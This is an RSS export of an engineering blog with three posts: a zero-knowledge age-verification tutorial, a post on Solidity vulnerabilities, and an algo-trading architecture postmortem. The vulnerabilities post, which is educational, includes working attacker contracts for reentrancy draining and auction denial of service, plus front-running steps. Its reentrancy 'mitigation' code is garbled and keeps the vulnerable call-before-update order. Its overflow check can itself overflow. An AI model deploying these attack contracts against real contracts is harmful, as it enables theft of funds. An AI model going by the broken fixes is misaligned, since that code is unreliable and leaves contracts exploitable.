<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[The Somesh Stack]]></title><description><![CDATA[The Somesh Stack is an engineer's notebook on software architecture, complex systems, and technical leadership. I write about the real-world decisions behind bu]]></description><link>https://someshbanerjee.hashnode.dev</link><generator>RSS for Node</generator><lastBuildDate>Sat, 14 Nov 2026 19:04:03 GMT</lastBuildDate><atom:link href="https://someshbanerjee.hashnode.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Zero Knowledge App using SNARKs]]></title><description><![CDATA[A blog on how to create a zero knowledge app using SnarkJS, solidity and react]]></description><link>https://someshbanerjee.hashnode.dev/zero-knowledge-app-using-snarks</link><guid isPermaLink="true">https://someshbanerjee.hashnode.dev/zero-knowledge-app-using-snarks</guid><dc:creator><![CDATA[Somesh Banerjee]]></dc:creator><pubDate>Thu, 12 Nov 2026 18:33:50 GMT</pubDate><content:encoded><![CDATA[<p><em>Originally published on November 11, 2023 on</em> <a href="https://somesh-banerjee.github.io/blogs/blog/10"><em>my previous blog</em></a><em>.</em></p>
<hr />
<p>In this blog, we will create a simple zero knowledge application where a user can prove that he is above 18 years old without revealing his age. To achieve this we will use CIRCOM and snarkjs to create a circuit and generate a proof. Then we will create a solidity contract which will verify the proofs and store the result on chain. Finally, we will create a simple react app to interact with the contract.</p>
<p>You can find the complete code <a href="https://github.com/somesh-banerjee/zero-knowledge-sample-contract">here</a>.</p>
<h1>Zero Knowledge</h1>
<p>Zero knowledge is a way of proving that you know something without revealing what you know. For example, if you wanted to prove that you know the password to a door without revealing the password, you could do so by opening the door. Someone watching you would know that you know the password, but they would not learn what the password is. This is the basic idea behind zero knowledge proofs. You can find more examples <a href="https://www.circularise.com/blogs/zero-knowledge-proofs-explained-in-3-examples#example-proof-of-membership-2">here</a>.</p>
<h1>zk-SNARKs</h1>
<p>zk-SNARKs stands for Zero-Knowledge Succinct Non-Interactive Argument of Knowledge. One popular implementation of zk-SNARKs is <a href="https://z.cash/">Zcash</a>. It is a type of zero-knowledge proof that allows one party to prove to another that a statement is true, without revealing any information beyond the validity of the statement itself, and without any interaction between the prover and the verifier. The non-interactive nature of zk-SNARKS make it suitable for scenarios where real-time interaction is not possible. In our project, the age verification proofs will be verified on-chain, which can be later used by other users to verify the age of the user.</p>
<h1>CIRCOM</h1>
<p><a href="https://docs.circom.io/">Circom</a> is a domain-specific language for writing arithmetic circuits for zero-knowledge proof systems. It is used to create circuits which can be used to generate proofs. In Circom circuits, we have signals which acts like inputs and outputs. We will also use the <a href="https://github.com/iden3/circomlib">circomlib</a> library which contains some useful circuits like comparators, hashers, etc. You can find more about the language <a href="https://docs.circom.io/circom-language">here</a>.</p>
<h1>Initialising the project</h1>
<p>Since we will be creating a smart contract at the end, we will use the <a href="https://hardhat.org/">hardhat</a> framework to create the project. This will help us to compile, deploy and test the contract. So we can follow the <a href="https://hardhat.org/getting-started/#installation">hardhat installation guide</a> to create the project. After setting up the project, we will install snarksjs and circomlib npm packages to create the circuit.</p>
<pre><code class="language-bash">npm install snarksjs circomlib
</code></pre>
<p>After this you can create a separate directory for the zk related codes to keep things organised.</p>
<h1>Creating the circuit</h1>
<p>We will create a simple circuit which will take the age of the user as input and output a boolean value which will be true if the user is above 18 years old.</p>
<p>First we will define the signals. In our case, we will have one input signal which will be the age of the user and one output signal which will be true if the user is above 18 years old.</p>
<pre><code class="language-js">signal input age;
signal output out;
</code></pre>
<p>Now we need to compare the age with 18. For this, we will use the <code>GreaterThan</code> component from the circomlib library. This component takes two inputs and outputs 1 if the first input is greater than the second input. We will connect the age signal to the first input and 18 to the second input. Then we will connect the output of the <code>GreaterThan</code> component to the output signal. You can find more about the <code>GreaterThan</code> component <a href="https://github.com/iden3/circomlib/blob/cff5ab6288b55ef23602221694a6a38a0239dcc0/circuits/comparators.circom#L131">here</a>.</p>
<pre><code class="language-js">component greaterThan = GreaterThan(8); // 8 denotes number of bits
greaterThan.in[0] &lt;== age;
greaterThan.in[1] &lt;== 17; // 18 is considered 18+ so 17 is the limit

out &lt;-- greaterThan.out;
out === 1;
</code></pre>
<p>Before using the comparator, we need to include the circomlib library that we installed with npm. So include the correct path to the library in the code. The overall circuit will look like this:</p>
<pre><code class="language-plaintext">pragma circom 2.0.0;

include "../../node_modules/circomlib/circuits/comparators.circom";

template AgeAbove18() {
    signal input age;

    signal output out;

    component greaterThan = GreaterThan(8); // 8 denotes number of bits
    greaterThan.in[0] &lt;== age;
    greaterThan.in[1] &lt;== 17; // 18 is considered 18+ so 17 is the limit

    out &lt;-- greaterThan.out;
    out === 1;
}

component main = AgeAbove18();
</code></pre>
<p>Though I have said the code returns true or false based on age, it actually always returns true, and if age is less than 18 then it gives Assert Error.</p>
<p>Next we will compile the circuit and export the solidity code. This process is same as mentioned in the <a href="https://docs.circom.io/getting-started/installation/">circom documentation</a>. You can follow the steps mentioned there to compile the circuit and export the solidity code.</p>
<h1>Creating the solidity contract</h1>
<p>After exporting the solidity code, we will create a solidity contract which will verify the proofs and store the result on chain. We will copy the exported solidity code to <code>contracts</code> directory of hardhat project and name it <code>verifier.sol</code>.Also, create a new contract <code>AgeVerifier.sol</code> which will call the verifier contract and store result. The <code>AgeVerifier.sol</code> contract will look like this:</p>
<pre><code class="language-js">// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

interface IVerifier {
  function verifyProof(
    uint256[2] memory a,
    uint256[2][2] memory b,
    uint256[2] memory c,
    uint256[2] memory input
  ) external view returns (bool);
}

contract AgeVerifier {

    IVerifier public verifier;
    mapping(address =&gt; bool) public ageChecked;
    mapping(address =&gt; address) public approvedViewer;

    constructor(address _verifier) {
        verifier = IVerifier(_verifier);
    }

    function verifyProof(
        uint256[2] memory a,
        uint256[2][2] memory b,
        uint256[2] memory c,
        uint256[2] memory input
    ) external {
        require(
            verifier.verifyProof(a, b, c, input),
            "Below 18 years old"
        );
        ageChecked[msg.sender] = true;
    }

    function CheckProof(address _w) external view returns (bool) {
        require(_w == msg.sender || approvedViewer[_w] == msg.sender, "Not approved to check");
        return ageChecked[_w];
    }

    function Approve(address _w) external {
        approvedViewer[msg.sender] = _w;
    }
}
</code></pre>
<p>The <code>verifyProof</code> function is used to verify the proof and store the result on chain.</p>
<p>I have added a few extra features to the contract. The <code>Approve</code> function can be used to approve another user to check the age. The <code>CheckProof</code> function can be used to check if the user has verified his age or not.</p>
<p>Now to call the <code>verifyProof</code> function, we need to pass the proof as arguments. We will use the <code>snarkjs</code> library to generate the proof. The code to generate proof will look like this:</p>
<pre><code class="language-js">const { groth16 } = require('snarkjs')

const witness = {
  age: 20,
}

const { proof, publicSignals } = await groth16.fullProve(witness, wasmFilePath, finalZkeyPath, null)
</code></pre>
<p>Here pass the age as the witness. The <code>wasmFilePath</code> is the path to the <code>circuit.wasm</code> file which is generated when we compiled the circuit. The <code>finalZkeyPath</code> is the path to the <code>final.zkey</code> file which is generated in phase 2 of Groth16 Trusted setup. The <code>proof</code> and <code>publicSignals</code> are the outputs of the <code>groth16.fullProve</code> function. We will pass these two as arguments to the <code>verifyProof</code> function of the contract. The code to call the <code>verifyProof</code> function will look like this:</p>
<pre><code class="language-js">const transaction = verifier.verifyProof(
  [proof.pi_a[0], proof.pi_a[1]],
  [
    [proof.pi_b[0][1], proof.pi_b[0][0]],
    [proof.pi_b[1][1], proof.pi_b[1][0]],
  ],
  [proof.pi_c[0], proof.pi_c[1]],
  publicSignals,
)
</code></pre>
<p>Now yo can write tests in the <code>test</code> directory to test the contract. You can find the complete code <a href="https://github.com/somesh-banerjee/zero-knowledge-sample-contract/blob/main/test/age_ab18.test.ts">here</a>.</p>
<h1>Creating the react app</h1>
<p>Now we can create a basic react app to interact with the contract. We will take age as input and then generate the proof. We can use wagmi now to connect wallet and call the <code>verifyProof</code> function of the contract. This will store if the user is above 18 or not in the contract. Remember that the contract will only store the result if the user is above 18. If the user is below 18, then error will be raised at the proof generation step.</p>
<p>The whole react app is available in the <code>frontend</code> directory of the github <a href="https://github.com/somesh-banerjee/zero-knowledge-sample-contract">repo</a>.</p>
]]></content:encoded></item><item><title><![CDATA[Solidity Vulnerabilities]]></title><description><![CDATA[A blog on various vulnerabilities in Solidity smart contracts with examples and steps to reproduce it.]]></description><link>https://someshbanerjee.hashnode.dev/solidity-vulnerabilities</link><guid isPermaLink="true">https://someshbanerjee.hashnode.dev/solidity-vulnerabilities</guid><dc:creator><![CDATA[Somesh Banerjee]]></dc:creator><pubDate>Thu, 12 Nov 2026 17:58:16 GMT</pubDate><content:encoded><![CDATA[<p><em>Originally published on June 8, 2022 on</em> <a href="https://somesh-banerjee.github.io/blogs/blog/8"><em>my previous blog</em></a><em>.</em></p>
<h1>Introduction</h1>
<p>Smart contracts built on blockchain platforms like Ethereum have transformed various industries by enabling decentralized and trustless applications. Smart contracts are written in solidity language and deployed in the EVM blockchain, which enable self-executing agreements without the need for intermediaries, revolutionizing industries such as finance, governance, and others.</p>
<p>However, we know blockchain is immutable and so are smart contracts; Once they are deployed, it cannot be changed. This means that any security flaw or vulnerability within the code remains permanently exploitable.</p>
<p>In this article, I will go through some of the common solidity vulnerabilities in detail. We will try to recreate the vulnerabilities in the contract to understand it and also discuss how to mitigate these pitfalls.</p>
<h1>Re-entrancy attack</h1>
<p>Re-entrancy attack is a type of attack where the malicious contract re-enters the target contract by calling the target contract's function before the completion of its current execution.</p>
<p>To understabd how it is happening, let's understand it by considering contracts as persons. Imagine Person B who acts as a bank and maintain a registry for tracking the balance of other people. Now a malicious Person H deposits 100 money to B. B updates H's balance in the registry to 100. Other persons have also deposited to B and the total value depositted is 1200.</p>
<p>Whenever anybody withdraw money from B, he first gives the money and then update it in the registry. Now imagine H withdraws his money i.e. 100, and before it gets updated he agains withdraw it. Since the registry is not updated he agains get 100. H continues withdrawing until B has 0 balance.</p>
<p>This sounds absurd in real life, that a person withdraws but he can withdraw again before the registry gets updated, but in smart contract, this is possible using <code>fallback</code> functions. There is a function called <code>receive()</code> which gets called everytime some ether is transferred to a contract.</p>
<p>Let create a vulnerable contract Bank and try to recreate the attack.</p>
<pre><code class="language-java">pragma solidity ^0.8.7;

contract Bank {
    mapping (address =&gt; uint256) userBalance;

   // returns the balance of the user passed as parameter
    function getBalance(address u) public view returns(uint256){
        return userBalance[u];
    }

    // returns the balance of the contract
    function getBalance() public view returns(uint256){
        return address(this).balance;
    }

    // deposit the amount passed with the call to the balance of the user
    function addToBalance() public payable{
        userBalance[msg.sender] += msg.value;
    }

    // withdraw the whole balance of the user
    function withdrawBalance() public payable  {
        (bool sent, ) = msg.sender.call{value: userBalance[msg.sender]}("");
        userBalance[msg.sender] = 0;
    }
}
</code></pre>
<p>Now we will create the Attacker contract, that will drain the Bank contract using the <code>receive</code> fallback function</p>
<pre><code class="language-java">// SPDX-License-Identifier: MIT
pragma solidity ^0.8.7;

contract Hacker {
    Bank bank;

    constructor(address _a) {
        bank = Bank(_a);
    }

    // returns the balance of the contract
    function getBalance() public view returns(uint256){
        return address(this).balance;
    }

    // attack the bank contract
    function attack() public payable {
        require(msg.value &gt;= 1 ether);
        bank.addToBalance{value: msg.value}();
        bank.withdrawBalance();
    }

    // fallback function which is called when the bank contract sends the ether
    receive() external payable {
        if(bank.getBalance() &gt; 0){
            bank.withdrawBalance();
        }
    }
}
</code></pre>
<p>To understand the flow, first deploy the <code>Bank</code> contract in the testnet and deposit 1 or more ether from multiple accounts/wallets. Now deploy the <code>Hacker</code> contract. Pass the <code>Bank</code> contract's address while deploying. Call the <code>attack()</code> function of the <code>Hacker</code> contract with 1 ether value. After the call, you will notice that the balance of <code>Bank</code> contract will be 0 and all the ether which was in <code>Bank</code> is transferred to <code>Hacker</code>.</p>
<p>What is happening here is, when we call the <code>attack()</code> function, the <code>Hacker</code> contract first deposits 1 ether in the <code>Bank</code> contract. After that <code>Hacker</code> calls the <code>Bank.withdrawBalance()</code> function. By calling the <code>withdrawBalance()</code> function, the <code>Bank</code> transfers the userBalnce of <code>Hacker</code> i.e. 1 ether to <code>Hacker</code>.</p>
<p>Now in <code>Hacker</code> we have defined the fallback function <code>receive()</code> which is called when the 1 ether is transferred to the contract. In the <code>receive()</code> function, we are again calling the <code>withdrawBalance()</code>.</p>
<p>Now understand the <code>withdrawBalance()</code> function flow in this case from the following snippet</p>
<pre><code class="language-js">function withdrawBalance() public payable  {
    (bool sent, ) = msg.sender.call{value: userBalance[msg.sender]}("");
    // . --&gt; receive() is called at his point after transferring and before updating the userBalance
    userBalance[msg.sender] = 0;
}
</code></pre>
<p>From the above snippet you can understand, that wen the <code>receive()</code> is being called the <code>userBalace</code> mapping is not yet updated. Hence again 1 ether will be transferred. This transfer will again triger the <code>receive()</code> and the process will go on recursively till it totally drains the <code>Bank</code> contract.</p>
<h4>How to mitigate</h4>
<p>To mitigate the reentrancy attack in the above scenario, we can just change the order of execution as follw:</p>
<pre><code class="language-js">function withdrawBalance() public payable  {
    (bool sent, ) = msg.sender.call{value: userBalance[msg.sender]}("");transferring and before updating the userBalance
    userBalance[msg.sender] = 0;
}
</code></pre>
<p>Now if the Hacker recursively calls the <code>withdrawBalance()</code> function, no ether will be transferred as the mapping is updated. So to avoid reentrancy first update the state variables and then interact with external contracts/wallets.</p>
<p>Another way to prevent reentrancy is by using reentrancy guard. You can use state variables and modifier to design a guard, that will lock the function untill the execution is complete. For example:</p>
<pre><code class="language-js">modifier nonReentrant() {
    require(!locked, "Reentrant call detected");
    locked = true;
    _;
    locked = false;
}
</code></pre>
<p>Also you can use <a href="https://docs.openzeppelin.com/contracts/4.x/api/security#ReentrancyGuard">Openzeppelin ReentrancyGuard</a> instead of creating your own modifier.</p>
<h1>Integer Overflow</h1>
<p>Overflow occurs when we exceed the limit of any variable. For example <code>uint8</code> can store value between 0 to 255, and if we try to store 256, it will store it as 0. We can try this by writing the following contract:</p>
<pre><code class="language-java">pragma solidity ^0.7.0;

contract Overflow {
    uint8 public val = 0;

    function add(uint8 value) external {
        val += value; // possible overflow
    }
}
</code></pre>
<p>Try adding 255 and check the value. It will show 255. Now if you add 1, <code>val</code> will become 0.</p>
<h4>How to mitigate</h4>
<p>The best way to avoid overflow is to upgrade solidity version to 0.8.0 or later, to get built-in protection against overflow and underflow.</p>
<p>Moreover you can perform check before performing a calculation like:</p>
<pre><code class="language-java">pragma solidity ^0.7.0;

contract Overflow {
    uint8 public val = 0;

    function add(uint8 value) external {
        require(val + value &lt;= 255, "Overflow");
        val += value;
    }
}
</code></pre>
<h1>Race Condition</h1>
<p>In Ethereum or any other chain, every transaction is first added to the mempool and then a miner adds the transaction to the blockchain while mining. There is a time gap of around 10 seconds or more between this two process: sending a transaction and getting it accepted into blockchain.</p>
<p>To recreate the flaw, let create the following scenario:</p>
<p>Deploy a ERC20 token as follow:</p>
<pre><code class="language-java">import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract LOL is ERC20 {
    constructor() ERC20("LOL", "LOL") {
        _mint(msg.sender, 100000);
    }
}
</code></pre>
<p>Now deploy a <code>Marketplace</code> contract which uses the above ERC20 token buying and selling:</p>
<pre><code class="language-java">contract MarketPlace {
    address public owner;
    mapping(uint256 =&gt; uint256) public prices;
    mapping(uint256 =&gt; address) public holder;
    LOL lol;

    constructor(address a_){
        owner = msg.sender;
        lol = LOL(a_);
    }

    function buy(uint256 id) external {
        lol.transferFrom(msg.sender, owner, prices[id]);
        holder[id] = msg.sender;
    }

    function changeprice(uint256 id, uint256 new_price) external {
        prices[id] = new_price;
    }
}
</code></pre>
<p>First use <code>changePrice(1,10)</code> to set price of id 1 to 10. Now use two different metamask wallets, let A and B to do the attack. A will change the price and B will buy the id 1. Before performing this approve <code>Marketplace</code> contract for spending the ERC20 token on behalf of B, using the <code>approve(spender,amount)</code> function. Set the amount higher than the price to make the attack possible. To be safe always approve only the price in real scenarios.</p>
<p>Now call the following functions in order:</p>
<ol>
<li><code>buy(1)</code> from B with lower gasprice, so that it takes more time to get accepted. Remember at this point the price of id 1 is 10, so 10 should be deducted from B's wallet.</li>
<li><code>changePrice(1,50)</code> from A with higher gasprice, so that it is accepted instantly.</li>
</ol>
<p>After both the transactions are complete, you will see 50 is deducted from B wallet.</p>
<h4>Scenario 2</h4>
<p>There can be another scenario for this attack. Imagine you created a Quiz contract and the first one to respond with correct answer wins ether. Now a valid winner submits his answer in the mempool. A malicious miner notice that transaction, copies the values and send a transaction with the correct answer. If the miner's transaction gets added to the block, he will win the ether instead of the actual winner.</p>
<h4>How to mitigate</h4>
<p>We can't prevent front-run but we can follow necessary steps based on the scenario. For example in the first scenario, only approve for the amount shown as price. In the second scenario, we can use some kind of encryption to hide the answer from public.</p>
<h1>DoS Attacks</h1>
<p>DoS Attack occurs when a malicious hacker succeeds in creating a scenario where your contract functions always fails. For example if we consider the following <code>Auction</code> contract:</p>
<pre><code class="language-java">pragma solidity ^0.8.7;

contract Auction {
    address public curWinner;
    uint256 public curBid;

    function bid() payable external {
        uint256 value = msg.value;
        require(value &gt; curBid);
        if (curWinner != address(0)) {
            payable(curWinner).transfer(curBid);
        }
        curWinner = msg.sender;
        curBid = value;
    }
}
</code></pre>
<p>Here while bidding, the function first send the value of 2nd highest bid back and then updates the <code>curBid</code> and <code>curWinner</code>. If a hacker creates a contract through which he can place a bid but any transfer back to the contract will always fail then the winner will never update and he will be winner with any bid. The hacker can achive that using the following <code>Attacker</code> contract:</p>
<pre><code class="language-java">contract Attacker{
    Auction auction;

    constructor(address a){
        auction = Auction(a);
    }

    function placeBid() payable external {
        auction.bid{value: msg.value}();
    }

    receive() external payable  {
        revert("Hacked");
    }
}
</code></pre>
<p>In <code>Attacker</code> contract, ether cannot be transferred back as the fallback function <code>receive()</code> will always revert it.</p>
<p>Another scenario includes looping over dynamic size arrays. If the array becomes too large than it will run out of gas and revert.</p>
<h4>How to mitigate</h4>
<p>To avoid function failure due to transfer failure, implement pull over push pattern. In this pattern, you will not send the amount while calling the <code>bid()</code> function but a separate function will be there so that the losing bidders can withdraw their bids.</p>
<p><strong>References:</strong></p>
<ol>
<li><a href="https://github.com/crytic/not-so-smart-contracts">(Not So) Smart Contracts</a></li>
<li><a href="https://medium.com/coinmonks/smart-contracts-common-vulnerabilities-solidity-e64c5506b7f4">Smart Contracts common vulnerabilities (solidity)</a></li>
</ol>
]]></content:encoded></item><item><title><![CDATA[Building (Most of) an Algo-Trading Platform: An Architecture Postmortem]]></title><description><![CDATA[Or: what an incomplete side project taught me about being an architect, not just an engineer.]]></description><link>https://someshbanerjee.hashnode.dev/building-most-of-an-algo-trading-platform-an-architecture-postmortem</link><guid isPermaLink="true">https://someshbanerjee.hashnode.dev/building-most-of-an-algo-trading-platform-an-architecture-postmortem</guid><category><![CDATA[algorithmic trading]]></category><category><![CDATA[software architecture]]></category><category><![CDATA[decision making]]></category><category><![CDATA[architecture]]></category><dc:creator><![CDATA[Somesh Banerjee]]></dc:creator><pubDate>Sat, 26 Sep 2026 17:31:56 GMT</pubDate><content:encoded><![CDATA[<p>I want to write this differently than most "here's my project" posts. I'm not going to walk you through <code>npm install</code> and a folder tree. The thing that actually matters at an architect level isn't <em>what</em> you built — it's <em>why you built it that way</em>, what broke, and what you'd change with the benefit of hindsight. So this is a postmortem, written the way I'd want a senior architect on my team to write one: honest about the parts that are unfinished, specific about the decisions, and unafraid to say "I got this wrong."</p>
<p>The project is <a href="https://github.com/somesh-banerjee/the-trader"><strong>The Trader</strong></a> — a microservices-based algorithmic trading system. It ingests live market data, turns it into candles, runs trading strategies against those candles, aggregates the resulting signals into a single trading decision, and (eventually) places orders through a broker. It is <strong>not finished</strong>. I ran out of the thing every side-project architect eventually runs out of — not time, not interest, but <em>money</em>: live market data and brokerage API access aren't free, and testing a trading system properly means running it against real feeds for real periods. I stopped before I could close that loop.</p>
<p>But here's the thing — the parts I built are the parts that actually teach architecture. The unfinished parts are, ironically, where the most interesting decisions live.</p>
<hr />
<h2>The shape of the system</h2>
<p>Before diving into decisions, here's what actually exists today:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6aa6dfdd63d580e8407acb1a/c0300626-e1a8-48dd-b954-7eab6508445c.png" alt="" style="display:block;margin:0 auto" />

<p>Everything from the broker socket down to "here is a trading decision, with full reasoning attached" works. Order execution and the UI are scaffolded but empty - that's the honest state of things.</p>
<p>Now let's talk about <em>why</em> it looks like this.</p>
<hr />
<h2>ADR-1: Build the ugly version first, then earn the architecture</h2>
<p>The very first version of this project isn't a NestJS service. It's a single file — about 60 lines of raw WebSocket handling, a protobuf decoder, and an HTTP client, hardcoded to subscribe to two instruments and log whatever came back.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6aa6dfdd63d580e8407acb1a/9a7d9206-a309-4c0b-9719-0763e16f9e6b.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Decision:</strong> Don't design the "real" architecture until you've proven the riskiest unknown. For this project, the riskiest unknown wasn't "can I structure microservices well" — I already knew how to do that. It was "can I actually decode a binary protobuf market-data feed from a real broker, reliably, at tick frequency?" That's an <em>external dependency risk</em>, not a design risk, and no amount of clean architecture fixes it if the answer turns out to be no.</p>
<p>Only after the ugly script proved the feed was decodable and the message shapes were understood did I let myself write the market data service, the socket service, the database schema, and the event-bus wiring. This is a specific, deliberate instance of a broader principle I'd now call <strong>"spike first, architect second"</strong> — and it's something I actively watch for in review: engineers (myself included, historically) love to design the target architecture before they've de-risked the thing that could invalidate it entirely.</p>
<p><strong>What I'd tell a junior engineer doing this today:</strong> the throwaway script isn't waste. It's the cheapest form of risk reduction available to you. The mistake is <em>not throwing it away</em> — which is exactly why that first script still sits in the repo as a fossil, not a dependency of anything else.</p>
<hr />
<h2>ADR-2: An event backbone (NATS), not direct service-to-service calls</h2>
<p>Every service talks to every other service through NATS subjects — <code>ticks.raw</code>, <code>candle.closed.1m</code>, <code>strategy.signal.generated</code>, <code>order.intent.created</code> — never through direct REST calls between the trading services.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6aa6dfdd63d580e8407acb1a/0967fadb-86be-4d83-881d-6b855969c48d.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Why this mattered architecturally, not just technically:</strong> a trading pipeline is fundamentally a <em>stream of events over time</em> — a tick happens, a candle closes, a signal fires, a decision is made. Modeling that as a chain of synchronous HTTP calls would have coupled the <em>availability</em> of every downstream service to the <em>latency</em> of every upstream one. If order placement is slow or down, I don't want that back-pressuring into the WebSocket ingestion layer and causing me to drop live ticks — dropped ticks corrupt candles, which corrupts every decision made on top of them.</p>
<p>The trade-off I accepted: plain NATS pub/sub gives me at-most-once, fire-and-forget delivery. That's fine for a proof of concept, but it's the first thing I flagged as <strong>not good enough for money on the line</strong> — see the "what I'd change" section below.</p>
<hr />
<h2>ADR-3: Polyglot persistence — and where the line is drawn</h2>
<p>Two databases, deliberately:</p>
<ul>
<li><p><strong>InfluxDB</strong> for candles — high write volume, time-indexed, queried by range ("give me the last few hours of 1-minute candles for this instrument").</p>
</li>
<li><p><strong>PostgreSQL</strong> for everything with relationships and lifecycle — instruments, portfolios, positions, orders, and the audit trail.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6aa6dfdd63d580e8407acb1a/ddb7ffdb-3857-4cf5-8376-8207c2623b52.png" alt="" style="display:block;margin:0 auto" />

<p>The rule I used to decide where data lives: <strong>is this a fact about a point in time, or a fact about current state?</strong> A candle is immutable once closed — it's a historical fact, so it belongs in a time-series store built for range scans. A position mutates constantly and has to be transactionally consistent with orders — that's relational territory. Getting this split wrong (e.g., trying to force positions into a time-series store, or candles into a relational one) is a classic case of using the datastore that's familiar instead of the one that matches the access pattern.</p>
<p>The instrument model also encodes a decision I'm quietly proud of: keys for multiple brokers sit side by side on the same row, alongside a broker-agnostic provider interface (get feed URL, decode message) that today has exactly one implementation. This makes the goal of a <em>migratable</em> architecture concrete: an instrument's identity is broker-independent, and adding a broker means implementing one interface and populating one column — not touching the strategy or decision code at all.</p>
<hr />
<h2>ADR-4: I changed my mind about where "decision-making" lives</h2>
<p>This is the decision I most want to talk about, because it only shows up if you actually read the commit history instead of just the final state of the code.</p>
<p>The original design had decision-making as its <strong>own standalone microservice</strong> — a separate Python process, reachable over the event bus, calling out to the historical data service over HTTP for context, running a fairly naive moving-average strategy. That original service still exists in the repo as a fossil.</p>
<p>By the time I got serious about strategies, I'd moved the signal generation and decision logic <strong>into the same process as the live data consumer</strong>. The standalone decision service was superseded, not deleted — because keeping it around is exactly what makes this kind of retrospective possible.</p>
<p><strong>Why I reversed course</strong>, and the trade-off I accepted:</p>
<img src="https://cdn.hashnode.com/uploads/covers/6aa6dfdd63d580e8407acb1a/11746645-369e-4495-b120-5cb36c71b23b.png" alt="" style="display:block;margin:0 auto" />

<p>The separate-service design was "more microservice-y" on paper, but it meant every single decision required a network hop to fetch historical context, plus event-bus round-trip latency between candle-close and decision. For a system whose entire value proposition is <em>reacting to price movement quickly</em>, I was paying a latency tax to satisfy a service-boundary purity argument that didn't actually serve the business goal.</p>
<p>I moved the strategy runner and decision engine into the same service that already owns the candle stream, and replaced the network round-trip with an <strong>in-memory rolling candle cache per instrument</strong>, warm-loaded from the time-series store on first access and capped at a fixed window, with a lock to stop duplicate concurrent warm-loads for the same instrument when multiple ticks race in before the cache is populated.</p>
<p>This is the trade-off I'd defend in a design review: I gave up strict process isolation between "market data" and "decision-making" concerns, in exchange for eliminating network latency and an entire class of partial-failure modes (what happens to a decision if the historical-data service is down for 200ms during a fast market move?). The strategies themselves are still cleanly decoupled via a common interface — so the <em>logical</em> separation of concerns survived even though the <em>physical</em> deployment boundary didn't. That distinction — logical modularity vs. physical deployment topology — is, I think, one of the more underrated ideas in system design, and this project is where I actually internalized it rather than just quoting it from a book.</p>
<hr />
<h2>The strategy and decision layer, because this is where the actual "intelligence" lives</h2>
<p>Once a candle closes, here's what happens, at the ADR level rather than the code level:</p>
<ul>
<li><p>Every registered strategy (currently one: an EMA crossover) independently evaluates the candle history and emits a signal — a structured object with a side (long/short/exit), a confidence score, a stop-loss/take-profit model, and diagnostic metadata (the actual indicator values that triggered it). This shape was designed to be <strong>ML-ready</strong> from day one — a numeric score field exists so a future model-based strategy slots into the exact same pipeline as the rule-based one.</p>
</li>
<li><p>The decision logic doesn't just take the first signal it sees — it <strong>aggregates across all strategies that fired</strong>, weighting by confidence, and only converts that into an actual order intent if a configurable <strong>quorum threshold</strong> and <strong>minimum confidence</strong> are both met. Exit signals get priority over new entries. And critically, the decision also checks <em>current position</em> — a long signal when you're already long is a no-op, not a duplicate order; a signal in the opposite direction becomes a flip; only a signal against no position becomes a fresh entry.</p>
</li>
</ul>
<p>This ensemble-with-quorum design was a deliberate hedge against the failure mode every algo-trading beginner hits: one over-eager strategy whipsawing the account in a choppy market. With one strategy, there's nothing to reconcile — but the aggregation layer exists <em>because</em> I knew a second and third strategy were coming, and I didn't want to retrofit consensus logic later. That's architecting for a known future requirement without over-building for an unknown one — the strategy interface has exactly the fields a second strategy would need, no more.</p>
<hr />
<h2>The war story: a bug that lies to you about <em>when</em> things happened</h2>
<p>Every real project has one bug that's worth telling as a story rather than a bullet point. Here's mine.</p>
<p>The market-data feed sends prices and timestamps encoded as <strong>64-bit integers over protobuf</strong>, which — because JavaScript doesn't have native 64-bit integers — arrive as a <code>{ high, low }</code> pair of 32-bit signed integers that you have to reassemble yourself. The original conversion code looked reasonable at a glance:</p>
<pre><code class="language-typescript">return (value.high &lt;&lt; 32) + value.low;
</code></pre>
<p>This is wrong, and it's wrong in a way that doesn't throw an error, doesn't crash anything, and doesn't even produce <em>obviously</em> wrong numbers most of the time — it just quietly corrupts timestamps. The shift operator in JavaScript works on 32-bit integers and wraps around; shifting a value 32 bits left when the engine only tracks 32 bits of state effectively <strong>loses the high bits entirely</strong>, sometimes returning small or negative garbage instead of a real millisecond epoch.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6aa6dfdd63d580e8407acb1a/be7314e0-0465-414e-a11e-43c80e3692ee.png" alt="" style="display:block;margin:0 auto" />

<p>The fix was a one-line change — multiply instead of shift — but the <em>lesson</em> isn't "watch your bit shifts." It's this: <strong>a bug in the timestamp layer of a time-series pipeline doesn't announce itself as a timestamp bug.</strong> It shows up as candles that seem to have the wrong open/close prices, as strategies that seem to fire at odd moments, as data that "looks mostly right but a bit off" — the kind of bug that sends you down a rabbit hole second-guessing your <em>strategy logic</em> when the actual defect is two layers below, in how you're decoding wire-format integers. I only caught it by deciding to distrust the foundation before distrusting the strategy — a debugging discipline that scales far beyond this one bug: when downstream numbers look subtly wrong, check the timestamp and unit-conversion boundary <em>before</em> you re-derive your business logic.</p>
<p>The same fix also quietly corrected a second, related issue: a candle's window-start was being written to the time-series store as a raw epoch integer instead of a proper timestamp — exactly the kind of thing that works fine until you query it with a time-range filter and get nothing back.</p>
<hr />
<h2>Where I stopped, on purpose left visible</h2>
<p>My last piece of work adds an audit table — every raw signal, the aggregated signal, and the final order intent, stored as structured JSON, indexed by instrument and decision time — and starts wiring it into the decision engine.</p>
<p>I'm leaving that exactly as it is in the repo, because it's the most honest artifact in the whole codebase. That's not a bug — it's a bookmark. I know exactly what the next line was going to be, and I know exactly <em>why</em> I wanted this table before I wanted to finish order placement: <strong>a trading system that makes a decision and can't explain it after the fact is not something you can trust with real capital, no matter how good the strategy is.</strong> The audit table exists so that later, if a position loses money, I can query "what did every strategy say, what did the aggregator decide, and why" — instead of trusting my memory or, worse, trusting the logs.</p>
